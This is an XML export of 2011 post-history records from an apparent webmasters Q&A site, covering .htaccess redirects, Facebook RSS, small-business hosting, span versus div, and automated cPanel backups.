  <row Id="39208" PostHistoryTypeId="5" PostId="16454" RevisionGUID="1d5dd8ea-ad14-4afd-819e-f69dfeed3de9" CreationDate="2011-07-05T20:51:14.240" UserId="8354" Comment="Corrected Rewrite rules" Text="So .. you have more than 1 .htaccess file: one in the root folder and one in `/dev` folder.&#xD;&#xA;&#xD;&#xA;Where did you put rules from @Alex -- root or /dev .htaccess? Most likely in root. That is the reason why it did not worked.&#xD;&#xA;&#xD;&#xA;Thing is -- if Apache sees rewrite rules in lower level folder, it will NOT execute them from parent folder UNLESS your lower level .htaccess has `RewriteOptions inherit` line: http://httpd.apache.org/docs/current/mod/mod_rewrite.html#rewriteoptions&#xD;&#xA;&#xD;&#xA;Now, you have added `RedirectMatch 301 ^/dev/(.*)$ http://dev.example.com/$1` into root .htaccess. This directive belongs to another module and gets executed anyway .. and it executes **after** mod_rewrite have already rewritten the URL. That's why you see **real** URLs after redirect.&#xD;&#xA;&#xD;&#xA;The rule below should work -- just put it into your **/dev/.htaccess**&#xD;&#xA;&#xD;&#xA;    RewriteCond %{HTTP_HOST} !^dev\.example\.com&#xD;&#xA;    RewriteCond %{REQUEST_URI} ^/dev/&#xD;&#xA;    RewriteRule ^(.*)$ http://dev.example.com/$1 [R=301,L,QSA]&#xD;&#xA;&#xD;&#xA;It tells Apache to redirect if:&#xD;&#xA;&#xD;&#xA; - domain is not dev.example.com&#xD;&#xA; - URL starts with `/dev/` (which will only happened if requested via main domain)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39209" PostHistoryTypeId="25" PostId="16451" RevisionGUID="9a7d409f-220b-44cc-8d65-6b280d7005e1" CreationDate="2011-07-05T21:27:16.037" Comment="http://twitter.com/#!/StackWebmasters/status/88358303817666560" />
  <row Id="39210" PostHistoryTypeId="2" PostId="16456" RevisionGUID="bd2014c6-fb49-4114-b362-446128f17163" CreationDate="2011-07-05T21:27:43.150" UserId="8813" Text="I have a website with a CSS that I would like to post regularly to a Facebook community. Whereas there are lots of tutorials for doing that in a personal Facebook page, I cannot find a solution for adding RSS to a community page (poorer in terms of admin options and settings). I would like to have the Facebook community constantly and automatically updated with RSS from my website. Is it possible to do? In case so, do you know the steps to achieve that?" />
  <row Id="39211" PostHistoryTypeId="1" PostId="16456" RevisionGUID="bd2014c6-fb49-4114-b362-446128f17163" CreationDate="2011-07-05T21:27:43.150" UserId="8813" Text="How to add RSS to a community page on Facebook?" />
  <row Id="39212" PostHistoryTypeId="3" PostId="16456" RevisionGUID="bd2014c6-fb49-4114-b362-446128f17163" CreationDate="2011-07-05T21:27:43.150" UserId="8813" Text="&lt;facebook&gt;&lt;rss&gt;&lt;community&gt;" />
  <row Id="39213" PostHistoryTypeId="5" PostId="16456" RevisionGUID="39d58f6f-2d21-4599-81b5-5316313b0952" CreationDate="2011-07-05T21:36:17.060" UserId="8813" Comment="added 37 characters in body" Text="I have a website with a RSS (fixed, I had written &quot;CSS&quot; instead) that I would like to post regularly to a Facebook community. Whereas there are lots of tutorials for doing that in a personal Facebook page, I cannot find a solution for adding RSS to a community page (poorer in terms of admin options and settings). I would like to have the Facebook community constantly and automatically updated with RSS from my website. Is it possible to do? In case so, do you know the steps to achieve that?" />
  <row Id="39214" PostHistoryTypeId="2" PostId="16457" RevisionGUID="599a6434-0f27-4303-a571-49acebece783" CreationDate="2011-07-05T21:39:36.573" UserId="7588" Text="Well done for properly setting up your content so that cookies are not round-tripping for every small image, css and js file!&#xD;&#xA;&#xD;&#xA;As for your httpd:// complication...&#xD;&#xA;&#xD;&#xA;You can get around this by problem by serving all of the https:// traffic from the one IP address, including the static content. So long as that is login, customer account area, checkout or other areas where you really need https:// then that should not be too much stuff.&#xD;&#xA;&#xD;&#xA;The tools you will need to effect this are in your httpd.conf files - all three of them...&#xD;&#xA;&#xD;&#xA;If you are using .htaccess you can move all of that into your httpd.conf (which again improves performance, albeit not necessarily noticeably so). In that way you can have in effect two separate 'htaccess' ways to serve your content.&#xD;&#xA;&#xD;&#xA;I take it that your /js /images and other static content is not on a different box? Without explaining what you changed to effect your setup, it is hard to suggest a complete solution but I think you should be able to get https:// to work off the one domain given what you have achieved already.&#xD;&#xA;&#xD;&#xA;As for just bunging another SSL on there, the two SSLs on one IP is a bit of a myth:&#xD;&#xA;&#xD;&#xA;http://wiki.apache.org/httpd/NameBasedSSLVHostsWithSNI&#xD;&#xA;&#xD;&#xA;If you go for two certificates on one IP then your IE6 users might get a rough deal, it will work for all the other browsers though.&#xD;&#xA;" />
  <row Id="39215" PostHistoryTypeId="2" PostId="16458" RevisionGUID="0ff8f648-240b-42c1-89a1-e4785838a0de" CreationDate="2011-07-05T21:46:10.683" UserId="7588" Text="Dropping the www from your site address is bad practice because you may one day want to put your static content onto a cookie-less domain (for improved performance).&#xD;&#xA;&#xD;&#xA;You can only do this from the same domain if your html docs come from www.example.com and your images etc. come from static.example.com - if you serve html from example.com that means [anything].example.com is tarred with the same cookies.&#xD;&#xA;&#xD;&#xA;Your careful setup of 301 redirects will payoff - you have done the right thing (albeit except for dropping the www) and Google will have tidy listings of your site as soon as it visits everything you have setup a 301 for." />
  <row Id="39216" PostHistoryTypeId="2" PostId="16459" RevisionGUID="770b5310-0dc6-4e00-a151-67a90affbe66" CreationDate="2011-07-05T22:15:57.553" UserId="8815" Text="have you verified both with Google webmaster tools? verify both and then select your preference." />
  <row Id="39217" PostHistoryTypeId="2" PostId="16460" RevisionGUID="b6200281-1410-491d-92df-6b7d2862a255" CreationDate="2011-07-05T23:02:03.677" UserId="6193" Text="I'm working on a project and I need to coax some educated people to contribute content and build a community around.  It is set up like a word game and the results become the site's content.  The exercise would appeal to educated people who might actually do it for fun. I'm thinking that the sort of folks that fill in crossword puzzles would genuinely enjoy participating.&#xD;&#xA;&#xD;&#xA;Where is a source for contributors that like word puzzles and analytical thinking in general? I'd consider giving out a few dollars to get the ball rolling, but that does really bring loyalty. " />
  <row Id="39218" PostHistoryTypeId="1" PostId="16460" RevisionGUID="b6200281-1410-491d-92df-6b7d2862a255" CreationDate="2011-07-05T23:02:03.677" UserId="6193" Text="Where can I Hire or Coax People who like Word Puzzles?" />
  <row Id="39219" PostHistoryTypeId="3" PostId="16460" RevisionGUID="b6200281-1410-491d-92df-6b7d2862a255" CreationDate="2011-07-05T23:02:03.677" UserId="6193" Text="&lt;content&gt;" />
  <row Id="39220" PostHistoryTypeId="2" PostId="16461" RevisionGUID="6da7e335-7fbf-4ff7-afb2-5633fe709a54" CreationDate="2011-07-05T23:09:01.677" UserId="5297" Text="www2 is a common subdomain for marketing content management systems that operate outside of the website that you're visiting. " />
  <row Id="39221" PostHistoryTypeId="17" PostId="16462" RevisionGUID="7e447944-5038-44e2-997c-e3cae00c2ae8" CreationDate="2011-07-05T23:48:51.057" UserId="-1" Comment="from http://stackoverflow.com/questions/6589767/free-ad-serving-solution-for-smaller-php-websites" Text="" />
  <row Id="39222" PostHistoryTypeId="2" PostId="16462" RevisionGUID="f4850ac5-4202-4008-bfa1-c28e413408a1" CreationDate="2011-07-05T22:55:14.493" UserDisplayName="Sir Lojik" Text="im looking for a very simple ad serving solution on my website, that can be hosted on my website. i have used openX and found it a bit complex for my needs. basically i need;&#xD;&#xA;&#xD;&#xA; 1. A way for advertisers to simply post their ad and pay using common payment methods visa/paypal etc&#xD;&#xA; 2. An interface for advertisers to track campaigns.&#xD;&#xA; I used traffic spaces one and liked the idea, although i wanted to host the server myself. performance issues." />
  <row Id="39223" PostHistoryTypeId="1" PostId="16462" RevisionGUID="f4850ac5-4202-4008-bfa1-c28e413408a1" CreationDate="2011-07-05T22:55:14.493" UserDisplayName="Sir Lojik" Text="free Ad serving solution for smaller php websites" />
  <row Id="39224" PostHistoryTypeId="3" PostId="16462" RevisionGUID="f4850ac5-4202-4008-bfa1-c28e413408a1" CreationDate="2011-07-05T22:55:14.493" UserDisplayName="Sir Lojik" Text="&lt;php&gt;&lt;mysql&gt;&lt;advertising&gt;&lt;ads&gt;" />
  <row Id="39225" PostHistoryTypeId="5" PostId="16462" RevisionGUID="8341f877-53d2-4252-aee9-4ffbb065affc" CreationDate="2011-07-05T23:51:16.317" UserId="1253" Comment="added 2 characters in body; edited tags" Text="I'm looking for a very simple ad serving solution on my website, that can be hosted on my website. I have used openX and found it a bit complex for my needs. basically I need;&#xD;&#xA;&#xD;&#xA; 1. A way for advertisers to simply post their ad and pay using common payment methods visa/paypal etc&#xD;&#xA; 2. An interface for advertisers to track campaigns.&#xD;&#xA;&#xD;&#xA;I used traffic spaces one and liked the idea, although i wanted to host the server myself. Performance issues." />
  <row Id="39226" PostHistoryTypeId="6" PostId="16462" RevisionGUID="8341f877-53d2-4252-aee9-4ffbb065affc" CreationDate="2011-07-05T23:51:16.317" UserId="1253" Comment="added 2 characters in body; edited tags" Text="&lt;php&gt;&lt;advertising&gt;&lt;looking-for-a-script&gt;&lt;mysql&gt;" />
  <row Id="39227" PostHistoryTypeId="5" PostId="16438" RevisionGUID="fcb49406-dafd-4893-9668-5b40a61017b2" CreationDate="2011-07-06T00:25:53.277" UserId="8354" Comment="added &quot;most likely&quot; (in my experience, at least)" Text="`www2` most likely means that that you have been sent to their 2nd web server directly -- possibly they do not have load balancer properly configured .. or it is configured this way on purpose, so once redirected user stays there and not hitting balancer again.&#xD;&#xA;&#xD;&#xA;Shopping.com does it all the time (at least did it in the past).&#xD;&#xA;&#xD;&#xA;It also could mean that it is temporal redirect -- their main server is currently unable to handle the load (or not working completely) and you have been redirected to backup/secondary server for the time being. It is possible that if you visit this www2 URL next time (in few hours/days/weeks) you may be redirected back to their main web server (www)." />
  <row Id="39228" PostHistoryTypeId="25" PostId="16437" RevisionGUID="81f98e50-5e69-4dfe-96d8-98eb68c38c69" CreationDate="2011-07-06T00:27:16.180" Comment="http://twitter.com/#!/StackWebmasters/status/88403602233765889" />
  <row Id="39234" PostHistoryTypeId="2" PostId="16464" RevisionGUID="b3d5d1d1-42be-419d-be92-fa43f1f5d270" CreationDate="2011-07-06T01:17:49.677" UserId="8317" Text="The mac mini is a really appealing option to someone like me with little knowledge of servers. I am looking for a server that I can use for a small business, to: host websites, store company files and allow email for staff.&#xD;&#xA;&#xD;&#xA;Can a mac mini provide such services without a difficult setup and horrible maintenance?&#xD;&#xA;&#xD;&#xA;If so what would be an ideal spec for the server, if not is there anything cheep and better (more user friendly)?" />
  <row Id="39235" PostHistoryTypeId="1" PostId="16464" RevisionGUID="b3d5d1d1-42be-419d-be92-fa43f1f5d270" CreationDate="2011-07-06T01:17:49.677" UserId="8317" Text="What can a mac mini server do? Is it useful for starting up a home business?" />
  <row Id="39236" PostHistoryTypeId="3" PostId="16464" RevisionGUID="b3d5d1d1-42be-419d-be92-fa43f1f5d270" CreationDate="2011-07-06T01:17:49.677" UserId="8317" Text="&lt;web-hosting&gt;&lt;email&gt;&lt;webserver&gt;&lt;business&gt;&lt;mac&gt;" />
  <row Id="39238" PostHistoryTypeId="25" PostId="16462" RevisionGUID="79a93121-d037-442d-b75a-3622c4de6b1b" CreationDate="2011-07-06T03:27:16.087" Comment="http://twitter.com/#!/StackWebmasters/status/88448901312561152" />
  <row Id="39239" PostHistoryTypeId="2" PostId="16465" RevisionGUID="a3797624-f8ed-442f-ada5-243dc87f1f42" CreationDate="2011-07-06T05:57:26.457" UserId="1240" Text="Hosting the website would be a pain because you would need to have a dedicated line put into your house for people to be able to access it.  There are some other things you could do but if you are not that up to speed with web servers they might be too technical.&#xD;&#xA;&#xD;&#xA;As suggested in the comments by Adam a hosted solution might be for the best, you can pick them up relatively cheap and will have a support team on hand to help you with any issues." />
  <row Id="39240" PostHistoryTypeId="2" PostId="16466" RevisionGUID="f11a2328-5f04-49cf-80e0-8366a4b1022a" CreationDate="2011-07-06T06:00:21.477" UserId="1240" Text="It may not matter but in my configurations the line would be `Order deny,allow` (lowercase)" />
  <row Id="39241" PostHistoryTypeId="2" PostId="16467" RevisionGUID="c4342404-0df8-4e59-a617-262f9d65888f" CreationDate="2011-07-06T06:06:23.593" UserId="1240" Text="Coming from Africa your biggest issue will be getting a payment provider to let you sign up.&#xD;&#xA;&#xD;&#xA;As for tools I believe the easiest are things like AdSense, Adbrite, things of that nature (Adbrite lets you put your own ads in, so they wouldn't be irrelevant).&#xD;&#xA;&#xD;&#xA;Tools you customise yourself are going to be very heavy handed as it is a big problem to solve." />
  <row Id="39242" PostHistoryTypeId="25" PostId="16442" RevisionGUID="e37b91ba-dabb-4eb8-9f74-2b51cbf40d7d" CreationDate="2011-07-06T06:27:17.040" Comment="http://twitter.com/#!/StackWebmasters/status/88494204187197440" />
  <row Id="39243" PostHistoryTypeId="17" PostId="16468" RevisionGUID="8f1f7521-1409-4ab8-87e8-75258b03d40c" CreationDate="2011-07-06T08:38:47.033" UserId="-1" Comment="from http://stackoverflow.com/questions/6582673/wordpress-installation-subdomain-or-as-folder" Text="" />
  <row Id="39244" PostHistoryTypeId="17" PostId="16469" RevisionGUID="214dd567-17d9-498d-b1c7-601cec807d8e" CreationDate="2011-07-06T08:38:47.033" UserId="-1" Comment="from http://stackoverflow.com/questions/6582673/wordpress-installation-subdomain-or-as-folder" Text="" />
  <row Id="39245" PostHistoryTypeId="17" PostId="16470" RevisionGUID="af92b9d8-ec03-4d51-908f-be108d43ce04" CreationDate="2011-07-06T08:38:47.033" UserId="-1" Comment="from http://stackoverflow.com/questions/6582673/wordpress-installation-subdomain-or-as-folder" Text="" />
  <row Id="39246" PostHistoryTypeId="2" PostId="16469" RevisionGUID="2c55e62f-b737-45d8-bacc-c11678865058" CreationDate="2011-07-05T12:34:01.287" UserId="3556" Text="See http://webmasters.stackexchange.com/questions/12759/should-i-choose-sub-directories-over-sub-domains-in-this-case/12761#12761" />
  <row Id="39247" PostHistoryTypeId="2" PostId="16470" RevisionGUID="8708b7ef-a11f-4db4-85d5-f94913a04402" CreationDate="2011-07-05T13:06:32.913" UserId="7810" Text="I don't think it can have any important SEO impact, I think it's more a question of personal taste. Also, take note that it's much quicker and easier to just create a subfolder." />
  <row Id="39248" PostHistoryTypeId="2" PostId="16468" RevisionGUID="e73eb845-67fa-451d-88c8-43849792658d" CreationDate="2011-07-05T12:29:15.007" UserDisplayName="Amir" Text="i got a client portfolio website and he opens a wordpress blog with articles that related to his proffesion. what the best for SEO ? install it as subdomain or as folder?&#xD;&#xA;www.myclientsite.com/blog/&#xD;&#xA;blog.myclientsite.com&#xD;&#xA;&#xD;&#xA;this is fresh domain without any past content..." />
  <row Id="39249" PostHistoryTypeId="1" PostId="16468" RevisionGUID="e73eb845-67fa-451d-88c8-43849792658d" CreationDate="2011-07-05T12:29:15.007" UserDisplayName="Amir" Text="Wordpress installation- Subdomain or as folder?" />
  <row Id="39250" PostHistoryTypeId="3" PostId="16468" RevisionGUID="e73eb845-67fa-451d-88c8-43849792658d" CreationDate="2011-07-05T12:29:15.007" UserDisplayName="Amir" Text="&lt;wordpress&gt;&lt;google&gt;&lt;seo&gt;&lt;subdomain&gt;" />
  <row Id="39251" PostHistoryTypeId="2" PostId="16471" RevisionGUID="c32a65f4-8b91-40df-9eab-cef90854e136" CreationDate="2011-07-06T08:55:20.843" UserId="7588" Text="Any old PC running Ubuntu will get you up and running. Assuming you are on the end of an ADSL line (or Virgin Broadband) you will be able to use the service provided by dyndns.org to make your box accessible from the outside world with a few settings entered into your router box.&#xD;&#xA;Because of how ADSL works - one way is more quickerer than the other - your box will be really slow - 0.5Mbs rather than the full 10 you will get with an affordable VPS.&#xD;&#xA;&#xD;&#xA;These forums are not supposed to feature product endorsements, but a Mac Mini is quite expensive for what you are wanting. A Novatech barebones bundle will do the job for a fraction of the price - you'll just need to outlay £350 for a brand new box of greater specification than the (CD-less) Mac Mini. Updating to the latest and greatest Ubuntu will be free and you will not be going forward learning Mapple specific web-hosting. (OSX is not a common server OS outside of design agencies).&#xD;&#xA;&#xD;&#xA;Another option - with a product endorsement - is to get a VPS. Memset offer virtual server packages for £10 a month + VAT and with a www address from 123-reg for &lt;£10 you will be able to get up and running with very little initial outlay and no hardware to maintain. This will give you 10Mbs up and down - un-metered. You will have to pay extra for a control panel - personally I would just install Webmin and with FTP + phpMyAdmin you will be able to upload stuff and maintain your DB.&#xD;&#xA;&#xD;&#xA;Email is very hard to setup and get right, you might prefer to keep your email with 123-reg and pay £10 a year for a catchall mailbox, adding more mailboxes when you need them for another £10 + VAT a piece.&#xD;&#xA;&#xD;&#xA;In comparison to the above options, the Mac Mini will be nice, quiet and small but not such a good all round package." />
  <row Id="39252" PostHistoryTypeId="2" PostId="16472" RevisionGUID="db6beca7-ed40-4e64-b532-a533bcd4866a" CreationDate="2011-07-06T09:15:29.687" UserId="1643" Text="You can add the [Social RSS application][1] to your Facebook page. To get started look at the help from [Facebook about adding apps][2]. Once you've added it follow the instructions in the app.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.facebook.com/apps/application.php?id=23798139265&#xD;&#xA;  [2]: http://www.facebook.com/help/search/?q=add%20app%20to%20facebook%20page" />
  <row Id="39253" PostHistoryTypeId="25" PostId="16381" RevisionGUID="80b4da91-99e0-407a-9af2-f915642b9e7d" CreationDate="2011-07-06T09:27:17.837" Comment="http://twitter.com/#!/StackWebmasters/status/88539505853870081" />
  <row Id="39254" PostHistoryTypeId="2" PostId="16473" RevisionGUID="413745ca-fd92-4e09-a144-da2ac5626b92" CreationDate="2011-07-06T10:01:18.930" UserId="3111" Text="There's also company.mobi &#xD;&#xA;but if you really care about users, then cater for every permutation that users could try...&#xD;&#xA;&#xD;&#xA;  - m.company.mobi&#xD;&#xA;  - mobile.company.mobi&#xD;&#xA;  - wap.company.com&#xD;&#xA;  - wap.company.mobi&#xD;&#xA;  - etc&#xD;&#xA;&#xD;&#xA;  * company.com/mobile [404's should always be handled by all your domains, so directory's don't count here]" />
  <row Id="39255" PostHistoryTypeId="5" PostId="16449" RevisionGUID="efa2b13c-df23-4e8c-af5f-bf5f26d10c4b" CreationDate="2011-07-06T10:05:46.453" UserId="8811" Comment="added 434 characters in body; edited tags" Text="Among other I run a humor site, developed in php. I have a custom search built where people search for everything under the sun.&#xD;&#xA;&#xD;&#xA;I have noticed that it helps me to have a &quot;Latest searches section&quot; where I list the latest searches performed.&#xD;&#xA;&#xD;&#xA;As you can understand I have a lot of searches that are &quot;naughty&quot;. Not because I have anything offensive on the site, but I guess it's what some people want to find. Most of the time what they actually find is jokes around the subject or some video of a stand up talking about the search item.&#xD;&#xA;&#xD;&#xA;The question I have is. Should I filter out these terms from my page? I am afraid that the site might get blocked from office firewalls and maybe banned by an advertising network (like adsense) just because some stupid robot found a term that thought in the sites' text.&#xD;&#xA;&#xD;&#xA;One thing that you might ask is: If the site is family safe, how come all these people search for &quot;naughty&quot; terms. 2 reasons.&#xD;&#xA;&#xD;&#xA; - Google. Many times people looking for something sexy linked to a strange object (e.g. sex and lion or dog or oak tree) end up to my site. Of course they don't find what they are looking for, so they hit search which is pre-filled with the term that led them to the site. After that the term goes in latest searches.&#xD;&#xA; - Whether A happens or just a users types in something &quot;naughty&quot;, this term's popularity is beeing reenforced by the fact that many people see it in latest searches, click on it and search for it again. So if someone searches for &quot;funny hat&quot; the term dissappears from latest searches within minutes. If he types something more spicy, other people click on it and it remains in the latest searches for hours.&#xD;&#xA;&#xD;&#xA;Once again I want to clarify that the site has ZERO nudity and it doesn't even have sexy videos. YouTube is way more sexier that my site.&#xD;&#xA;&#xD;&#xA;thanks for anyone spending the time to share his knowledge.&#xD;&#xA;&#xD;&#xA;Update: Although [John Conde][1] did give it a shot, I think the dillema at hand is still on. Should I remove controversial terms from the text of a non-controversial site? I know for a fact that Google might ban a site that it &quot;thinks&quot; is porn related. Is the risk worth it? What would you do?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/16449/finally-is-it-bad-to-mention-words-around-sex-in-your-page/16450#16450" />
  <row Id="39256" PostHistoryTypeId="6" PostId="16449" RevisionGUID="efa2b13c-df23-4e8c-af5f-bf5f26d10c4b" CreationDate="2011-07-06T10:05:46.453" UserId="8811" Comment="added 434 characters in body; edited tags" Text="&lt;seo&gt;&lt;keywords&gt;&lt;search&gt;" />
  <row Id="39257" PostHistoryTypeId="2" PostId="16474" RevisionGUID="e9e09834-70bd-41c6-8b5b-40e2bd1b15cb" CreationDate="2011-07-06T10:06:24.480" UserId="7044" Text="there is a feature called `addon domain` or `parked domain` on most hosting panels which in the first case you simply serve other domains to their own respected root folders on one hosting panel.  &#xD;&#xA;the `parked domain` lets you map a domain on a subdomain which again has its own root folder." />
  <row Id="39258" PostHistoryTypeId="2" PostId="16475" RevisionGUID="115115a7-de94-477d-9fdf-6e9dc5c40c7f" CreationDate="2011-07-06T10:06:37.457" UserId="7801" Text="Is there a way to automatically backup my website files, both the actual ftp directory and the database, say once a month?&#xD;&#xA;&#xD;&#xA;I have cpanel running on all my hosting packages. It has a backup option but it's manual." />
  <row Id="39259" PostHistoryTypeId="1" PostId="16475" RevisionGUID="115115a7-de94-477d-9fdf-6e9dc5c40c7f" CreationDate="2011-07-06T10:06:37.457" UserId="7801" Text="Auto backup website files and database using cpanel" />
  <row Id="39260" PostHistoryTypeId="3" PostId="16475" RevisionGUID="115115a7-de94-477d-9fdf-6e9dc5c40c7f" CreationDate="2011-07-06T10:06:37.457" UserId="7801" Text="&lt;web-hosting&gt;&lt;backups&gt;" />
  <row Id="39261" PostHistoryTypeId="2" PostId="16476" RevisionGUID="0a4fc467-3752-4a3d-9984-2e84a90aa0f4" CreationDate="2011-07-06T10:17:07.543" UserId="1643" Text="I'm presuming you want to back up somewhere locally, rather than push the data somewhere else on the internet.&#xD;&#xA;&#xD;&#xA;The getsqlbackup command which comes with some versions of cPanel can backup your databases for you. You need to get [wget][1] and then write a local batch file/script like this:&#xD;&#xA;&#xD;&#xA;    wget http://username:password@domain.com:2082/getsqlbackup/databasename.gz --output-document=backupdir/databasename.gz&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For backing up the files just find an FTP client that can run automatically.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/wget/" />
  <row Id="39262" PostHistoryTypeId="2" PostId="16477" RevisionGUID="879c6c1e-3a9e-4735-ad4b-17ae4612ee7c" CreationDate="2011-07-06T10:29:24.873" UserId="233" Text="In that paragraph it mentioned the &quot;20th percentile&quot;. This is the green area labelled &quot;fast&quot;, and it's the top 20% of all sites. If your site is faster than 61% of sites, you are in the top 40%. You would need to be faster than 80% of sites to be in the 20th percentile.&#xD;&#xA;&#xD;&#xA;I think your main problem is the large variation in loading times. The sites I have in GWT are fairly consistent (although gradually increasing in some cases)." />
  <row Id="39263" PostHistoryTypeId="2" PostId="16478" RevisionGUID="f65569fc-f071-47de-adec-73fb494c218b" CreationDate="2011-07-06T10:37:42.030" UserId="8724" Text="I am curious, the span tag seems to work the same as a div. " />
  <row Id="39264" PostHistoryTypeId="1" PostId="16478" RevisionGUID="f65569fc-f071-47de-adec-73fb494c218b" CreationDate="2011-07-06T10:37:42.030" UserId="8724" Text="What is the difference between &lt;span&gt; and &lt;div&gt; tags?" />
  <row Id="39265" PostHistoryTypeId="3" PostId="16478" RevisionGUID="f65569fc-f071-47de-adec-73fb494c218b" CreationDate="2011-07-06T10:37:42.030" UserId="8724" Text="&lt;html&gt;&lt;tags&gt;" />
  <row Id="39266" PostHistoryTypeId="17" PostId="16479" RevisionGUID="14424bad-6675-4629-a5f1-68ec8e08cd29" CreationDate="2011-07-06T10:41:27.780" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/13231/website-example-for-user-engagement-for-first-time-user" Text="" />
  <row Id="39267" PostHistoryTypeId="17" PostId="16480" RevisionGUID="1e0a4ab5-d460-4b0e-9ac6-e2cdfc2bdc20" CreationDate="2011-07-06T10:41:27.780" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/13231/website-example-for-user-engagement-for-first-time-user" Text="" />
  <row Id="39268" PostHistoryTypeId="2" PostId="16480" RevisionGUID="6f3ab02c-ba22-46f1-bff9-a4f746dfb7a2" CreationDate="2011-03-08T07:02:06.707" UserId="4114" Text="You can check this link for [Facebook FBML Tutorial - Step By Step Instructions to Adding Your FBML Tab Into Your Fan Page](http://www.articlesbase.com/finance-articles/facebook-fbml-tutorial-step-by-step-instructions-to-adding-your-fbml-tab-into-your-fan-page-3707141.html)" />
  <row Id="39269" PostHistoryTypeId="2" PostId="16479" RevisionGUID="cfa6a350-ef42-4727-80c5-cecab1cd486d" CreationDate="2011-03-08T06:21:23.323" UserId="5476" Text="I would like to add step by step Login instructions for first time users on my website (like what we see in the Facebook game, show popup instruction one by one to follow).&#xD;&#xA;&#xD;&#xA;Any website can you suggest which has this feature as reference.&#xD;&#xA;&#xD;&#xA;Thanks in advance." />
  <row Id="39270" PostHistoryTypeId="1" PostId="16479" RevisionGUID="cfa6a350-ef42-4727-80c5-cecab1cd486d" CreationDate="2011-03-08T06:21:23.323" UserId="5476" Text="Website Example for User Engagement for first time user" />
  <row Id="39271" PostHistoryTypeId="3" PostId="16479" RevisionGUID="cfa6a350-ef42-4727-80c5-cecab1cd486d" CreationDate="2011-03-08T06:21:23.323" UserId="5476" Text="&lt;websites&gt;" />
  <row Id="39272" PostHistoryTypeId="5" PostId="16475" RevisionGUID="bdfec081-f943-40aa-b9e8-c9e19e9535f5" CreationDate="2011-07-06T10:53:55.780" UserId="7801" Comment="added info" Text="Is there a way to automatically backup my website files, both the actual ftp directory and the database, say once a month?&#xD;&#xA;&#xD;&#xA;I have cpanel running on all my hosting packages. It has a backup option but it's manual.&#xD;&#xA;&#xD;&#xA;I'm on a mac and use Transmit as my FTP client." />
  <row Id="39273" PostHistoryTypeId="5" PostId="16302" RevisionGUID="2e93b674-6110-414d-a7a9-79b1b8e1cfaa" CreationDate="2011-07-06T10:59:27.450" UserId="233" Comment="spelling" Text="I have one company with 5 business areas. Each business area has a website. Recently we decided to have all these websites merged into one website, the group website. &#xD;&#xA;&#xD;&#xA;What is the best way to move these websites without losing the SEO and page ranks?&#xD;&#xA;&#xD;&#xA;What do you think about our decision? We believe that if we have just one website covering five business areas, it will circulate and have more traffic than we have at this moment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39274" PostHistoryTypeId="4" PostId="16302" RevisionGUID="2e93b674-6110-414d-a7a9-79b1b8e1cfaa" CreationDate="2011-07-06T10:59:27.450" UserId="233" Comment="spelling" Text="Move websites without losing SEO" />
  <row Id="39275" PostHistoryTypeId="2" PostId="16481" RevisionGUID="fb0fab21-563c-4b25-84b0-da19d6c50f39" CreationDate="2011-07-06T10:59:31.337" UserId="1240" Text="The main difference is that `divs` are block elements and `spans` are inline elements." />
  <row Id="39276" PostHistoryTypeId="2" PostId="16482" RevisionGUID="efbe0e25-5efa-4dbb-b6e6-ae65fe1d8b1f" CreationDate="2011-07-06T11:00:45.593" UserId="7198" Text="The main difference is that the `&lt;span&gt;` tag is an [inline](http://www.w3.org/TR/CSS2/visuren.html#inline-boxes) element, whereas the `&lt;div&gt;` tag is a [block](http://www.w3.org/TR/CSS2/visuren.html#block-boxes) level element.&#xD;&#xA;&#xD;&#xA;Two block level elements (divs) will be displayed one after each other vertically, whereas two inline elements (spans) will be displayed one after each other horizontally.&#xD;&#xA;&#xD;&#xA;To understand the difference in visual terms, it might help to think of the `&lt;span&gt;` element as a word and the `&lt;div&gt;` element as a paragraph: divs are generally used for laying out blocks of content. Spans are normally used for highlighting groups of words within that content.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="39277" PostHistoryTypeId="2" PostId="16483" RevisionGUID="8b8b73ee-1782-4e1d-a426-217f7346b23c" CreationDate="2011-07-06T11:08:11.103" UserId="4641" Text="Could someone check my code. I either have an identifier misspelled or a div missing.&#xD;&#xA;&#xD;&#xA;The site is at http://dev.gfd-oogle.com and the original theme is at http://www.freecsstemplates.org/previews/professional/.&#xD;&#xA;&#xD;&#xA;I would really appreciate the help.&#xD;&#xA;&#xD;&#xA;Thanks,&lt;br /&gt;&#xD;&#xA;Phill" />
  <row Id="39278" PostHistoryTypeId="1" PostId="16483" RevisionGUID="8b8b73ee-1782-4e1d-a426-217f7346b23c" CreationDate="2011-07-06T11:08:11.103" UserId="4641" Text="Could someone please check my code?" />
  <row Id="39279" PostHistoryTypeId="3" PostId="16483" RevisionGUID="8b8b73ee-1782-4e1d-a426-217f7346b23c" CreationDate="2011-07-06T11:08:11.103" UserId="4641" Text="&lt;html&gt;&lt;css&gt;&lt;code&gt;" />
  <row Id="39280" PostHistoryTypeId="5" PostId="16481" RevisionGUID="26dd2916-2b36-40c4-8ac3-ca0de0f1dfec" CreationDate="2011-07-06T11:08:49.487" UserId="1240" Comment="added 288 characters in body" Text="The main difference is that `divs` are block elements and `spans` are inline elements.&#xD;&#xA;&#xD;&#xA;Both can be styled using CSS to act however you wish but out of the box you would normally use `spans` for smaller inline divisions and `divs` for larger blocks.&#xD;&#xA;&#xD;&#xA;Some things will affect inline and block elements different, for example you cannot put a height onto a `span` element." />
  <row Id="39281" PostHistoryTypeId="2" PostId="16484" RevisionGUID="fa93e837-ca18-48b4-ada2-eb39d1725870" CreationDate="2011-07-06T11:14:05.847" UserId="1240" Text="My suggestion would be to fix the errors found here:&#xD;&#xA;&#xD;&#xA;http://validator.w3.org/check?uri=http%3A%2F%2Fdev.gfd-oogle.com%2F&amp;charset=%28detect+automatically%29&amp;doctype=Inline&amp;group=0&#xD;&#xA;&#xD;&#xA;Without a more specific issue though it will be hard to diagnose your problem." />
